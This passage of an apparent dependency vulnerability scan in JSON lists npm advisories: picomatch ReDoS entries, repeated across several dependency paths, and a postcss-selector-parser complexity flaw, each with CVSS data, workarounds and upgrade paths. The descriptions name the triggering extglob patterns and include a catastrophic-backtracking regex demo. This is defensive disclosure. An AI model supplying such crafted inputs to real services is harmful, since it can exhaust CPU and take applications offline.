crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-POSTCSSSELECTORPARSER-20510276", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<7.1.6" ] }, "exploit": "Not Defined", "fixedIn": [ "7.1.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "postcss-selector-parser", "references": [ { "url": "https://github.com/postcss/postcss-selector-parser/security/advisories/GHSA-rj75-hqrm-r3gf", "title": "GitHub Advisory" }, { "url": "https://github.com/postcss/postcss-selector-parser/commit/62b191792df0a0bc56062e5a875bc74aae2a51cd", "title": "GitHub Commit" }, { "url": "https://github.com/postcss/postcss-selector-parser/releases/tag/7.1.6", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-10-03T05:59:30.073849Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:37:51.094822Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:37:51.094822Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-03T05:59:30.073849Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `uniqs` helper and index-membership checks in `src/parser.js` when parsing flat selectors (e.g. `.a.a.a...`) containing a large number of class or ID tokens. The original implementation uses `Array.indexOf` inside a `filter` callback and repeated linear scans of the `hasClass`/`hasId` arrays, producing quadratic time complexity proportional to the number of tokens. An attacker who can supply selector input to the parser can trigger CPU exhaustion by providing a long flat selector, pinning a CPU core and causing the process to become unresponsive.\n## Remediation\nUpgrade `postcss-selector-parser` to version 7.1.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/postcss/postcss-selector-parser/security/advisories/GHSA-rj75-hqrm-r3gf)\n- [GitHub Commit](https://github.com/postcss/postcss-selector-parser/commit/62b191792df0a0bc56062e5a875bc74aae2a51cd)\n- [GitHub Release](https://github.com/postcss/postcss-selector-parser/releases/tag/7.1.6)\n", "epssDetails": { "percentile": "0.31217", "probability": "0.00394", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-104844" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-rj75-hqrm-r3gf" ] }, "packageName": "postcss-selector-parser", "proprietary": false, "creationTime": "2026-10-05T09:18:38.058885Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-02T18:30:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-05T09:18:38.281663Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:37:51.094822Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/query@5.0.0", "postcss-selector-parser@7.1.1" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/query@5.0.0", "postcss-selector-parser@7.1.6" ], "isUpgradable": true, "isPatchable": false, "name": "postcss-selector-parser", "version": "7.1.1" }, { "id": "SNYK-JS-POSTCSSSELECTORPARSER-20510276", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<7.1.6" ] }, "exploit": "Not Defined", "fixedIn": [ "7.1.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "postcss-selector-parser", "references": [ { "url": "https://github.com/postcss/postcss-selector-parser/security/advisories/GHSA-rj75-hqrm-r3gf", "title": "GitHub Advisory" }, { "url": "https://github.com/postcss/postcss-selector-parser/commit/62b191792df0a0bc56062e5a875bc74aae2a51cd", "title": "GitHub Commit" }, { "url": "https://github.com/postcss/postcss-selector-parser/releases/tag/7.1.6", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-10-03T05:59:30.073849Z" } ], "cvssSources": [ { "type": "primary", "vector": 